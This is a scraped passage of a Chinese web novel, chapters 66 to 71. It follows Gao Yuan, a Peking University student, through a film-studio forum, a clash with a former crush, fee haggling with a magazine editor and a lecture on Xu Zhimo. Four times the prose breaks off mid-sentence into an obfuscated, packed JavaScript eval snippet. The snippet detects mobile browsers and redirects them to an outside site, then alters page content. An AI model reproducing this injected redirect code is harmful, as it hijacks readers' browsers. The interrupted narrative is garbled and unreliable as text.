王瑶的目光追逐着李健群,“这不是很正常的事儿嘛,是个不错的姑娘啊。高远,放心大胆去追,老师们支持你追求爱情。” 高远惊讶道:“咱们学校不是不让同学们谈恋爱吗?” 王瑶说道:“那是不让在学校里谈恋爱,怕会影响学习。” “也就是说,在外面谈恋爱,学校管不着,懂了,谢谢老师提点。” “我可啥也没说啊,都是你自个儿猜测的。” 高远笑而不语。 座谈会是由汪阳主持的。 老厂长先对北大中文系老师、教授们的到来表示了热烈的欢迎。 然后又说了一堆官话、套话。 他说完,又让王好为导演给老师和教授们介绍一下电影的拍摄情况。 于是王导接着讲,已经拍到什么程度了,还有多少戏等着拍,预计什么时候能拍完巴拉巴拉。 记者们也不闲着,捧着照相机拍拍这个照照那个。 还给高远来了两张特写。 这货比画剪刀手,很二的样子。 不过在记者们眼里,简直是阳光帅气的大男孩儿啊。 一个叫陈贝贝的女记者也不怕浪费胶卷,咔咔咔给高远来了个三连拍。 王导介绍过影片的拍摄情况后,轮到高远发言了。 江南之引导他:“高远,你就简单说说创作这个故事的心路历程吧,是什么因素让你萌生出要创作这么一个喜剧故事的?” 是因为缺钱呐。 高远默默念叨句大实话,口是心非道:“其实也没有什么具体因素,非要找一个创作思路的话,我记得去年高考结束后,我去棉纺厂给我小姑送东西。 在厂门口等待她的时候,听到了几名工人师傅的交谈。 工人师傅说,生产线新安装上的光电探纬器简直太好用了,不仅节省了操作时间,还大大提高了生产效率。 我留意上了,等小姑回到家后,我问起她光电探纬器的工作原理。 她跟我讲了讲。 又说,生产线上自打安装了这台小机器后,确实节省了人力成本,尤其是她们这些一线工人,明显感觉到劳动强度比以前下降了许多。 我小姑还感慨,科技叫生产力。 她这句话才是我创作这个故事的源泉吧。” 江南之点着头,笑道:“科学技术叫生产力,这个重要论断早在75年9月26日,邓公在听取中科院的工作汇报上就提出来了。 高远,你小姑能记住这句话,说明她是个勤学好思的女同志。 你能从她这句话中琢磨出一个故事来,并在故事中将科技推动工厂发展生动形象地展现出来,这个敏锐的观察力,和延展性深入的思考能力,也值得赞扬。” 没等高远开口道谢,吴组缃接着江南之的话往下说:“作为一名剧作家也好,还是作为一名文学家也罢,深入细致地去观察生活,观察社会,观察人群,都是必须要去培养的一个习惯。 高远这一点做得难能可贵,他用细致入微的观察力和刚劲有力的笔触创作了一个好故事。 《瞧这一家子》这个剧本我们在座的老师都看过,起初不太敢相信这个剧本是出自于小高远的手笔,还有人质疑过,是不是小高远请了代笔。 后来我记得南老跟他当面交流过一些剧本的细节,这才印证了这本子确是高远创作的。 作为你的老师,我们为你能够写出这么一个好故事来感到骄傲。 但也给你提个醒,我们可以骄傲,你一定要戒骄戒躁,要创作出更多更好的故事来,为丰富广大人民群众的业余文化生活服好务。” 高远笑着说道:“先生,学生记下了。” 吴组缃欣慰点头,又对记者们说:“记者同志们不是一直想采访一下我们中文系这位大才子吗?现在可以向他提问题了。” 第66章 仇人见面分外眼红 身材**,面容姣好的陈贝贝眨着大眼睛向高远提了三个问题,创作思路、写作过程以及有什么感悟。 高远又说了一段车轱辘话。 陈贝贝又问:“这部电影拍完后,下个剧本你想好要写什么了吗?” 这姐们儿挺上道啊,我正想着怎么把话题往这个方向上引,她竟主动问了出来。 高远一笑,回答道:“不瞒您说,我已经动笔了,写的是一个人民教师的故事,这故事从1970年开始……” 他简单介绍了一下正在创作的那个故事的梗概。 汪阳一听,立刻被这个故事吸引了,满眼热切望着高远。 老师们也被他讲述的这个故事打动了。 在座的诸位老师,都有亲身经历,在那个动荡的年代里,老师们没少吃苦受罪。 所以说他们对高远叙述的这个故事,感受更直接也更强烈一些。 乐黛云抹着泪,拍拍高远的手背,动情道:“好故事啊,感情太浓烈了渲染的,拍出来一定会是部好电影。” 老太太爱用倒装句。 江南之也激动起来,脸上挂着抑制不住的笑容,道:“回头你把本子送我办公室里来,我再帮着你完善完善,你小子,硬是要的!” 组缃先生言简意赅:“好,好,好!” 高远挠着头,露出貌似憨厚又腼腆的笑容来。 后面就座的梁左凑到苏牧耳边,低声蛐蛐:“这孙子又装上了,瞧他那一脸道貌岸然的德行,心里指不定美成什么样了呢。” 苏牧瞥他一眼,道:“老梁,你当着我的面儿说高老师的是非,真的合适吗?” 梁左嘿嘿一笑,道:“用高老师的话说,我俩这叫相爱相杀,你丫告诉他我也不怕。” 苏牧一脸嫌弃的样子,不搭理他了。 汪阳这时候问高远道:“这个本子你还没卖吧?” 参加座谈会的施雯心、江淮延等人也目光灼灼盯住高远,生怕他说,我已经把本子卖给哪个厂了。 高远微笑道:“准确地说,这不是一个剧本,是一部中篇小说,我的本意是先将它在刊物上发表,然后再进行二次创作改编成剧本。” 汪阳乐了,“你这个小家伙,心思不少啊,先在刊物上发表,挣一笔稿费,再将其改编成剧本,又能挣一笔改编费,你这分明是想两头吃嘛。” 他点破了高远的小算盘,在场的诸位都笑了起来。 高远也一笑,并不掩饰自己的小算计,坦率地说道:“我凭实力创作出来的故事,别说两头吃了,三头吃这钱我也挣得天经地义啊。” 汪阳仍旧笑呵呵的,他点着头,说:“你看,误会了不是?我可没有指责你两头吃不对的意思,你说的也没错,你自己写出来的故事,凭能力挣得钱,谁也没资格说三道四。 你这个小家伙啊,就是太敏感了。 不过敏感也是好事儿,尤其对创作者来说,敏感体现为突破表象的深层观察力,这种敏感力会使得创作者写出来的作品具有更强的感染力和思想深度。” 高远惭愧地笑了笑,“厂长,被您这么一说,我是有点小人之心了哈。” 汪阳不以为意地摆摆手,说:“不聊这个,既然你提出来要先发表,我们倒是能帮上忙。淮延,回头你跟《收获》编辑部联系一下,帮小高落实落实小说发表的事情。” 江淮延笑着说好,也心知肚明,只要把这件事情落实了,高远这个本子就是厂里的了。 高远也清楚老厂长的心思,他也没打算把这个本子给其他厂。 座谈会顺利结束。 老师教授们下楼离开。 临上车前,江南之对高远说道:“该上课还是要上课,学业不能耽搁。” 高远郑重点头,道:“先生放心,明天我就回学校上课去。” 江南之微微颔首,坐进车里离开北影厂。 又过了几日,王好为带领着剧组去棉纺厂进行拍摄了。 高远没跟随剧组一同前往,几名演员进入状态后,他觉得没必要天天待在组里了。 并且他也看得出来,郑导对自己意见很大,整天鼻子不是鼻子脸不是脸的。 高远当然清楚郑 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高远不耐烦地对乔珊说道:“大小姐,你到底想干嘛?我求求你了,放我一马吧。” 乔珊穿一件紫色长裙,马尾辫一晃一晃的,眼珠儿灵动,说:“高远同学,身为北大学子,你有义务接受校广播电台的采访,我没有别的意思,只是作为北大电台的记者兼主持人,对你进行采访。 请你谈一下你创作《瞧这一家子》剧本的心路历程。 你不能拒绝。” “我不能拒绝?我非要拒绝你还能弄死我不成?甭跟我提什么义务,作为一名大学生,我的义务只是好好学习天天向上。至于什么采访,我没什么义务帮你完成,请你自重!” 高远太清楚这姑娘那点小心思了,不就是看哥们儿改邪归正、弃恶从善且前途远大了,你就后悔当初的决定,又对我另眼相看了么。 说到底,你就是个现实主义者。 第67章 由爱转恨 除此之外,高远很鄙视乔珊这种现实主义至上的处事原则。 上辈子,他听几个关系不错且跟乔珊有来往的高中同学提起过,乔珊去美国留学后没多久便忘记了初心,被帝国主义的纸醉金迷蒙住了双眼、腐蚀了思想,很快就投入到一个石油大亨儿子的怀抱中去。 满以为对方视她为真爱,心心念念跟对方结婚。 结果对方玩了三个月就厌倦了她,一脚踢开后投入到一个美籍黑姑娘怀抱中。 自此以后乔珊性情大变,不再是那朵骄傲的小白花,开始放浪形骸,周旋于各国的富二代群体中,热衷于参加各种趴体,吸粉、滥交,总之能搞到钱的办法她都一一尝试过了。 这个女人,说穿了就是个捧高踩低,哪有利益往哪钻的主儿。 乔珊一愣,接着缓神儿,拽住高远的胳膊,面带愠怒,道:“高远你太张狂了,不要以为你取得了一点点小小的成绩就有骄傲自满的资本了,你还差得远呢。 校广播电台对你进行采访,是给你面子,你别给脸不要脸,否则……” 这时候,跟随乔珊一起前来的一个师兄阴恻恻威胁道:“否则,我们让你在北大混不下去!” 高远看着他,乐了,“你喜欢乔珊同学?” 那师兄面红耳赤,“你不要胡说啊,我跟乔珊同学只是同事关系。” “同事关系你这么迫不及待地跳出来为她打抱不平?威胁我啊,你还嫩点儿,工农兵学员吧?75还是76的?我没猜错的话,那场关于我剧本思想、立意上存在严重问题的大讨论,丫是主导人之一吧?你贵姓,敢说么?” 高远这一连串问题让师兄心跳如擂鼓。 他眼神躲闪着,支吾道:“你别胡说啊,我都不知道你说的是什么,我之前跟你压根儿就没打过交道,什么大讨论啊,我不知道。” 77级文学班的同学们咂摸出点不同寻常的味道来。 玛戈璧的,这师兄和乔珊根本不是来采访高老师的,这是心里憋着坏,来给高老师挖坑的,想把我们敬爱的高老师埋了。 302的室友们率先怒了。 杨迎明冲过来,一把抓住师兄的脖领子,双眼冒火,语气中夹杂着沙尘,厉声道:“**最好给老子交代清楚,丫来找高远采访,到底出于什么目的?” 陈建功更怒,疾步上前一脚踹在师兄的小腿上,瞪着眼喝道:“不说是吧?准备顽抗到底是吧?行啊,哥们儿给你这个负隅顽抗的机会,别到时候当了甫志高,你想哭都来不及!” 小查、小王、小黄、学红一拥而上,团团围住乔珊,目光中的愤怒恨不能将她吞噬。 师兄怂了。 乔珊也怂了。 两人心知肚明,以学校广播站的名义来采访高远,就是心怀鬼胎,原本就打算把他高高捧起,然后让他坠落悬崖。 你高远不是很牛吗?创作的剧本不是被北影厂拍成电影了吗? 好嘛,连学校众位名师都去给你助阵了,你风头很劲呐! 乔珊羡慕!嫉妒!恨! 本姑娘都不顾脸面主动向你示好了,就差跑到你跟前当面求爱了,你居然无视本姑娘的存在,故意躲着我,这让本姑娘如何自处啊? 自己是经济系公认的第一美人,追求者无数,主动靠近你高远,却没得到你的回应,丢**了! 乔珊西来想去,找了一个对她一网情深的师兄,借采访的名义过来找茬,目的是为了引起高远的主意,趁机拉近彼此的关系。 没成想,搞砸了。 高远对自己的排斥、疏远、抗拒,是个人就能看得出来。 这让乔珊无地自容,内心怒火翻腾。 就算我之前看不上你,那也是因为你自己不争气的缘故,你要是早点改邪归正,我不早就答应你的追求了么? 女人就是这么奇葩,她们总喜欢把所有错误归拢到男人身上。 但是在面对査、王、黄、刘四大金刚的联合围堵下,乔珊彻底慌乱了,心如鹿撞,惶恐不安。 梁左很刚,老葛更刚,还有新加入组织的苏牧,三人根本不给师兄狡辩的机会,冲上去就对他一阵猛踹。 师兄抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈建功也说道:“远儿,照我说,上报经济系党总支吧,让支部拿个意见出来,不然,别人只会认为我们中文系的人好欺负。” 小查建议道:“这个女人太讨厌了,必须让她得到点教训。” 高远认真考虑这各位的意见。 乔珊慌了,立马祈求道:“高远,我错了,我不该过来找你麻烦,求你,别跟我们支部的老师说了……” 第68章 BJ文艺找了过来 这年头,不仅各个系里有党总支,各个班级也设立了党支部。 前提条件是,班里的党员不少于十人。 高远班里的党员,不多不少,正十名。 颜乾虎是文学77级的支部**。 他走过来,问高远道:“远子,你怎么想的?” 高远看着乔珊,见这姑娘惊慌失措、惶恐不安,小脸煞白十分害怕的样子,心下一叹,对颜乾虎说道:“老颜,我先跟她聊两句。” 颜乾虎拍了拍高远的肩膀,点点头,转身走向不远处。 “给我挖坑也好,下套也罢,看在同学一场的情分上,这次我可以不追究。” 高远缓缓地开口说道:“但是我会给你记上这一笔,乔珊,我不管你是出于什么目的接近我,但我希望你能明白,咱俩不是一条路上的人。 你自己也清醒清醒吧,想想你父亲和你哥哥对待我的态度,你觉得我还敢招惹你吗? 别给我找麻烦,也别给自己找麻烦,大家一走两碰头儿,连个招呼都不必打,那才是咱俩都舒服的状态。 你别打断我…… 如果说你自认为做不到,就想想我读高中那会儿有多调皮捣蛋令人生厌,我三更半夜去你家趴窗根儿向你表达爱意时有多可恨,诶,你一下就通透了。” 乔珊眼眶泛红望着他,怔怔地注视了片刻后,意识到高远清澈的眸子里透露出来的坚定,便清楚他不是开玩笑,人家确实不想跟自己发生任何一点牵扯。 “高远,既然你把话说到这个程度了,我再纠缠下去就显得我不通情理了。再次为我今天给你造成的困扰说声抱歉,对不起了。也如你所愿,今后咱俩就当彼此是最熟悉的陌生人吧。” 说完,乔珊转身走了。 那个叫吴启明的师兄瑟瑟发抖。 杨迎明拍拍他的脸,威胁道:“孙贼,记住了,今后走路小心一点,碰到我们躲远一些。” 吴启明狠狠点头。 “滚吧。” 他屁滚尿流的滚了。 最熟悉的陌生人。 高远咀嚼着这句话,笑了,心说,没想到你还是个文艺女青年。 总算把话说开了,也如愿以偿得到了乔珊一个明确的态度,高远松了口气。 他真是被这个轴姑娘弄怕了。 小查双眼放光,上下左右打量着高远,哇了一声,道:“你刚才那话算是自爆了吧,原来是你小子先追得人家啊,还跑人家姑娘家里去表达爱意,高远儿,没看出来,你胆儿够肥的呀。” 王晓萍、黄蓓佳几个人也坏笑着。 高远没好气儿地说道:“不揭人伤疤你难受是吧? 不对,你这不是揭我的伤疤,你这分明是撕开我原本愈合的伤口往里撒了把盐后觉得不过瘾,又撒了把辣椒面儿,楂楂,你好狠的心呐!” 査建英几人都笑岔气儿了。 王晓萍说道:“小伙儿,你也不用觉得不好意思,年轻人追求美好的爱情嘛,不丢人。” “我没觉得不好意思啊,是你们几个想岔了,一直以为是乔珊在主动追求我。” “你不是也没解释过吗?” “陈芝麻烂谷子的事儿了,我解释这个干吗?” 这时候,看了一场免费好戏的梁晓声和一个女人走了过来。 “老梁,你什么时候过来的?”高远问他道,又看了一眼那女人。 “来了有一会儿了,给你介绍一下,这位是《BJ文艺》小说组的编辑张德凝同志,说起来,德凝同志还是你的师姐。”梁晓声把张德凝介绍给高远认识。 高远伸出手,笑道:“师姐您好,欢迎您重回母校。” 他有点明白张德凝过来的目的了。 这是约稿来了。 张德凝也笑着跟高远握了手,说:“师弟好,对你我可是久闻大名了,《我在这战斗的一年里》可谓家喻户晓。” 高远心虚地看一眼刘学红,见她笑嘻嘻一副无所谓的样子,转过头来对张德凝说道:“师姐过奖了,家喻户晓可不敢当。您来学校是……” “我来约稿啊,这不是听晓声说师弟你手上有个现成的中篇小说么,就请他帮我引荐一下你,问问你愿不愿意在我们《BJ文艺》上发表这篇小说?”张德凝说道。 高远不解的看着梁晓声。 不是说要投《收获》吗? 怎么改成《BJ文艺》了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402249|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 梁晓声笑着解释了一下,说:“《收获》虽说刊物名气比《BJ文艺》响亮一些,但远在明珠,江组长觉得,把你的稿子寄过去,然后再等反馈,太浪费时间了,就联系了德凝同志。 当然,在哪家刊物上发表,还是要取决于你的意见。” 张德凝迫不及待地说道:“晓声你这话我就不爱听了,《收获》是比我们名气大,但我们《BJ文艺》的名气也不差的好吧,我们刊物的发行量也不比《收获》少。 你不能因为《收获》杂志的主编是巴金先生就对它另眼相看啊。” 梁晓声急忙解释道:“没有没有,我不是那个意思,您误会了。” 张德凝哼了一声,扭脸儿就对高远就如同春天般的温暖,道:“师弟,你是咱京城土生土长的优秀青年作家,你得支持本地杂志社的发展壮大,你说对不对?” “师姐,作家可不敢当,我充其量就算个作者。您把话说到这个程度了,我肯定支持咱京城本地刊物的发展的,那啥,我就想问问,我这个小说,您能给多少钱啊?” 张德凝又问:“你写了多少字?” 高远回答:“五万多字,已经截稿了。” 张德凝想了想,说:“虽然师弟你声名远扬的,但在小说界还是属于新人,我能做主,给你千字5元。” 高远呵呵一笑,看向梁晓声,直言不讳道:“这就是你们北影厂想要笼络我拿出来的诚意?千字5元,谈都别谈了。” “高远你等等,这跟北影厂无关啊……” 梁晓声话音刚落,张德凝先绷不住了,抢先一步抓住高远,满脸不好意思,解释道:“这事儿确实和晓声无关。 这是我做出的决定,师弟,我希望你清楚,这毕竟是你第一次创作的小说,小说跟剧本、作文创作的形式是不一样的,得经过市场检验才能知道优劣。 所以,编辑部不可能一开始就给你开高价的。 我们编辑部对你没有信心也是因为……” “因为我是个新人?师姐,你不要跟我说什么标准,谈标准,我比你懂,我这本书作品不会给你们的,就这样吧,再见。” 第69章 报告老师,高远说徐志摩是个渣男! 高远拔吊无情,转身就走,一句话都不想跟张德凝多说。 看不起谁呢? 哥们儿写的东西,连7块钱都不值? 你跟哥们儿开玩笑呢吧? 张德凝愣了,他显然没想到高远一点面子都不给自己,说走就走。 她望着梁晓声,茫然无措,祈求帮助。 梁晓声苦笑道:“我这个小兄弟,是个非常有个性的人,我再说直白一点,这家伙就是个钱串子,你钱给不到位,他的作品是不会出售给你的。 别看他现在没啥名气,那是因为电影还没上映的缘故,但你想想,他之前写得作文、剧本,那是经过《人民X报》和北影厂双重认证的。 你拿千字5块钱就想去占他的便宜,来之前我就跟你说了,根本不可能。 你要知道,他这个小说,改编费用,我们内部已经达成一致了,最少2500块。 德凝姐,我看就这样吧,我先走一步。” 梁晓声就差没说,你张德凝连我的面子也撅了,早知如此,我都不带你来了。 张德凝面红耳赤,说白了,她就是投机取巧。 这年代,作为一名有上进心,一心想要进步,又在单位上混出点儿名堂来的家伙,做什么事情都得先为单位的利益和自己的利益去考虑。 张德凝自认为压价没错。 但她没想到高远的反应会这么大。 一眼看到陈建功,张德凝张嘴喊道:“建功,你过来一下。” 陈建功本不想跟她搭话,旁听,知道张德凝是来跟高远约稿的,就对她的尿性有点抵触。 听到张德凝喊自己,陈建功避无可避,苦笑着走过来,打招呼道:“德凝老师来了啊,您这是……” 张德凝翻翻白眼儿,说道:“你甭装蒜,我来干啥你不清楚?你都在边儿上听好半天了。 我问你,你和高远是同班同学吧?杂志社当前有多缺稿件你不知道吗?话说你这连个月也没写多少东西啊,产量减少,跟高远也有关系吧?” “您言重了,实话说,我跟高远不仅是同学,还是室友,彼此之间关系也不错。 您来找他约稿,我真不清楚。 至于说我为什么这段时间没写东西,不瞒您,是因为得了高远的提醒,我决定对之前写过的作品进行一次再梳理,看看有没有改编成电影作品的机会。” “这是高远给你的建议?” “是的,高远跟我说,我梳理过后,他帮我推荐给北影厂文学部。” “唉……你们不愧是好同学啊。 咱俩是老熟人了,刚才那事儿你也知道了,你给我出出主意,我该怎么跟高远接触? 你也看出来了,我刚才一句话,让高远不满意了。 建功,看在以往交情还不错的份儿上,你给姐支个招呗。” “张姐,咱俩打交道的时间也不短了,我只说一句话,高远是江南之先生的关门弟子,这小子聪明绝顶才华横溢,你用对付一般作者的方式去糊弄他,怕是想瞎了心。 您自个儿琢磨琢磨吧。” 张德凝倒吸一口未名湖水,心生悔意,忙追过去,却眼见得高远走进32楼,消失在视线之内。 她跺跺脚,江南之先生在文学界什么地位就不用多说了。 作为南老的关门弟子,别的不提,就这个名号,也值千字7块了。 想到这里,张德凝赶忙蹬上自行车往杂志社的方向骑行过去。 这事儿办砸了,得抓紧跟总编进行汇报,找个弥补错误的方法。 其实高远知道,这年头儿,各家杂志社创立的创立,复刊的复刊,都有一个共同的特点,缺稿件。 尤其缺优秀的稿件。 他之所以敢跟《BJ文艺》谈条件,是因为他有足够多的底气。 《BJ文艺》不打算出高价,还有《红旗》,还有《十月》,甚至我多花钱时间,就投《收获》了,咋的? 反正我这部小说质量没得说,皇帝的女儿不愁嫁,我又不着急挣钱,早一天晚一天的事情嘛,肯定能发表。 张德凝后悔不迭,回到编辑部,跟总编一说,著名诗人、教授林庚先生气得差点把茶杯拽她身上。 “你去之前我就跟你说过,给高远最高标准的稿酬,因为他太有话题性了! 你干了多少年的编辑了? 不清楚一名作者有了话题性,他的作品就会受到万千读者的追捧吗? 况且高远这孩子的作品是经过检验的,《人民X报》都刊登了他的作文,北影厂都肯出高价购买,然后拍成电影,你怎么就鼠目寸光,连7块钱都不舍得花?” 林庚勃然大怒。 张德凝像是个鹌鹑,缩着脖子辩解道:“您息怒,我这不也是为了咱们杂志社控制成本考虑么,少给高远两块钱,咱们杂志社就能节省100块钱……” “我还是那句话,你鼠目寸光!咱们这个季度的第二期刊物若能因为高远这部小说多卖1000本,这100块钱就挣回来了! 多卖10000本呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402250|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?咱们就是纯赚的!哪头轻哪头重你分不清楚吗? 去! 立马去跟高远道歉,务必把他那本《李志远》的小说版权买下来。 买不下来,你自个儿主动辞职吧!” 张德凝意识到了事情的严重性,为自己耍小聪明的行为后悔的同时,耷拉着脑袋快步走了出去。 高远正在上下午课。 胖胖的陈贻焮老师这节课讲的是徐志摩的《再别康桥》。 “徐志摩,名章垿,初字槱森,后改字志摩,浙江海宁人。 我国现代诗人、散文家,曾留学欧美,先后在美国哥伦比亚大学、英国剑桥大学攻读**、经济,获硕士学位,于1921年开始写诗。 是‘新月派’代表诗人。 诗风纤浓委婉,大都咏叹爱情与梦幻,在艺术形式上对新诗的发展有重要影响。 著有诗集《志摩的诗》《翡冷翠的一夜》《猛虎集》《云游》;散文集《落叶》《巴黎的鳞爪》《自剖》《秋》;小说集《**》等。 《再别康桥》是一首写景的抒情诗,通常的说法是,此诗是徐志摩因物而发抒写了再别康桥时的依恋之情。 全诗一共七节,总的说来,其抒发的情感有三:留恋之情、惜别之情和理想幻灭后的感伤之情。 ‘轻轻的我走了,正如我轻轻地来,我轻轻地招手,作别西天的云彩……’ 第一节诗中所谓的轻轻的来和走,正说明了诗人只身悄悄来到和离开康桥时的情景。 最后‘作别西天的云彩’,为后面的描写布下了一笔绚丽的色彩,整个景色都是在夕阳映照下的景物。 所以这节诗为整首诗定下了一个基调……” 陈先生娓娓道来,把这首《再别康桥》解读得深入浅出、异常精彩。 高远轻声对梁左说道:“徐志摩,这货他妈就是民国时期最无耻的渣男!” 梁左不明所以,问道:“高老师,啥叫渣男啊?” 高远咳嗽两声,遂解释道:“渣男是指那些在感情中不负责任、自私自利、善于欺骗和**女性感情的混蛋男人。” “那你为什么说徐志摩是个渣男呢?有什么依据啊?”他旁边的小查好奇地问道。 “高远!你给我站起来!有啥不同看法当着老师和同学们的面讲,你私下里嘀咕什么呢?”陈欣怡老师察觉到高远几个人交头接耳,立刻大声训斥道。 小查牛逼,立马揭发道:“报告陈老师,高远儿说徐志摩是个渣男!” 第70章 高老师的教学课 你可真是个出卖同志的阶级敌人! 高远咬牙切齿看着她,手骨节攥的咔咔响。 同学们爆发出一阵欢笑声。 高远这段儿在中文系出了大名,前些日子,《中国青年报》刊发文章——《一名大学生编剧的成长之路》,文章详细描写了高远创作《瞧这一家子》的心路历程。 把他夸奖的天上有地上无,如同文曲星下凡。 报纸一登,在同学们中间引发轰动,整个中文系都跟着与有荣焉。 梁左在一旁起哄:“远子,这就是你的亲哥们儿?亲哥们儿好啊亲哥们儿妙,亲哥们儿捅刀子呱呱叫。” 恨得高远又想掐死他和她了。 陈贻焮一点生气的意思都没有,他也在笑,说道:“高老师,你这个观点倒是蛮独特的,字面的意思我能理解,所谓渣男,指的是一个对待感情不负责的男人。 你站起来说说,徐志摩怎么就渣男了?” 北大的治学就是如此开放,老师们允许你有不同观点,并且欢迎你发表自己的看法。 高远一看躲不过去了,站起身先端起茶缸子喝口高末,然后冲陈老师羞赧一笑,说道:“让先生见笑了,您既然点了学生的名儿,那我就发表一下自己的观点。” 陈贻焮微微一笑,踱步下了讲台,一伸手,说道:“请吧。” 这是一节大课,加上其他系前来旁听的同学,300多口子人济济一堂。 大家都把目光集中到高远脸上。 高远一点都不虚,清清嗓子后朗声说道:“不可否认,徐志摩的确是民国时期的大才子,他才华横溢、风度翩翩,精通文学、经济学、历史学等学科。 但更不可否认的是,他就是一个抛弃发妻儿子,爱上有婚约的姑娘,甚至疯狂追求有夫之妇的浪荡公子哥。 张幼仪,相信大家对这个名字都不陌生吧?” 叶君远笑着说:“徐志摩的前妻嘛,这我们还是知道的。” 高远冲他一笑,说道:“叶叔说得对,张幼仪是徐志摩的前妻,一个端庄贤淑、恪守妇道的好女人。 张幼仪13岁那年就与年长他3岁的徐志摩订了婚。 1915年两人成亲,1918年张幼仪为徐志摩生下长子,然后呢?徐志摩丝毫不顾念为家庭操碎心的发妻和尚在襁褓中的儿子,以追求学业为名远渡重洋,去英国留学了。 其实从两人结婚后徐志摩就对张幼仪横挑鼻子竖挑眼,他无时无刻都想着挣脱家庭责任,去追求他那所谓的自由与浪漫。 他成功了,但家中父母却不忍看着张幼仪独守空房,一封封信件寄往英国,给他施压,让他来信邀请张幼仪前去英国,与他一起生活。 老徐承受不了沉重的压力,在1920年冬给张幼仪写了信,请她去英国跟自己团聚。 张幼仪自然是欢喜的,乘风破浪好几天抵达了大洋彼岸,没成想迎接她的却是徐志摩对他愈发的冷漠和嫌弃。 徐志摩对张幼仪直言不讳,说她思想守旧、缺乏情趣,说没有爱情的婚姻让他窒息。 他几次三番要求和张幼仪离婚,哪怕张幼仪那时已经怀上了他的次子。 其实大家都知道啊,老徐之所以非要休妻,是因为他看上了年仅16岁的林徽因,正在拼了命地追求人家。” “高老师,不好意思,我打断你一下。”黄蓓佳举起手说道。 “蓓佳你说。” “我不太同意你这个观点,徐志摩和张幼仪组建的家庭属于封建包办婚姻的产物,徐志摩去英国留学后,受到西方文化的影响,打破思想桎梏,渴望自由与浪漫的婚姻这没错吧?” “这是没错的,但他错在哪儿呢?他错就错在你既然不喜欢人家张幼仪,人家去英国后你就应该跟她摊牌啊,你怎么还好意思腆个大脸跟人家上床呢? 哦,你老婆怀上你的孩子了,你又爱上了年轻貌美的林徽因,然后打着热烈向往纯粹、高尚的爱情,渴望与爱人在精神上高度契合的幌子把一纸离婚协议拍在孕妻面前。 大家伙儿说,这他妈是老爷们儿能干出来的事儿么?”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402251|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到激动处,高远带了脏字儿。 梁左显然是个非常优秀的捧哏,他点着头说道:“那肯定是个男人就干不出如此浑蛋的事情来。” 陈建功说道:“好在林徽因还是清醒的,她在跟徐志摩处了一段儿后,貌似看透了徐志摩的本性,拒绝了他热烈的追求后毅然回国,但是咱们这位老徐同志是个多情的种子啊,人家一扭头儿就爱上陆小曼了。” 女生大多是浪漫主义者。 小查还西子捧心朗诵了一段儿:“我走了,带着记忆的锦盒,里面藏着我们的情,我们的谊,已经说出和没有说出的话走了。我回国了,伦敦使我痛苦…… 我怕,怕您那沸腾的热情,也怕我自己心头绞痛着的感情。 火,会将我们两人都烧死的。” 高远笑道:“所以说,丫看似多情实则无情,瞧把人家姑娘给吓的,宁愿离开伦敦,也不愿跟他伦敦。” 男同学们哈哈大笑。 女同学们望着他:你说的是什么啊,我们听不懂呢。 陈贻焮笑着拍拍手,教室里一下子安静下来。 他说道:“看来高远从人性的角度上对徐志摩的分析和解读令大家耳目一新,高远的观点是:徐志摩是个渣男。 我同意他的观点,并且在这堂课上我也可以加个佐证。 1924年,徐志摩和陆小曼相识于京城。 陆小曼是社交名媛,精通琴棋书画,且擅长交际。 她与徐志摩相识那会儿,已经与王赓结婚了。 徐志摩是受王赓之托陪伴陆小曼参加社交活动的,二人接触渐多,一起参加活动,探讨艺术,便互生情愫,最后结合在了一起。 但这也不能改变徐志摩是第三者插足,破坏别人家庭的无耻败类这个观点。” 他的话引起了同学们一阵热烈的掌声。 这时,下课铃打响了。 陈贻焮笑得像个弥勒佛似的说道:“今天貌似聊歪了,不过我相信大家还是有很大收获的,感谢高老师给我们做的分享。 好了,下课!” 第71章 350块到手了 高远是在楼底下被张德凝堵住的。 明儿是礼拜天,梁左、陈建功几个人正商量着要不要去市里逛逛。 高远说:“去什么市里啊,干脆来我家吧,还近,我给你们做好吃的。” 小伙伴们愉快地答应下来。 张德凝这次是有备而来,见到高远她起初还不太好意思,笑容僵硬。 高远也不是个拿腔拿调端架子的人,当然,前提条件是稿费你得给到位才行。 一见张德凝尴尬地笑着,高远主动给她递了个台阶。 “师姐跟主编商量过了吧?” 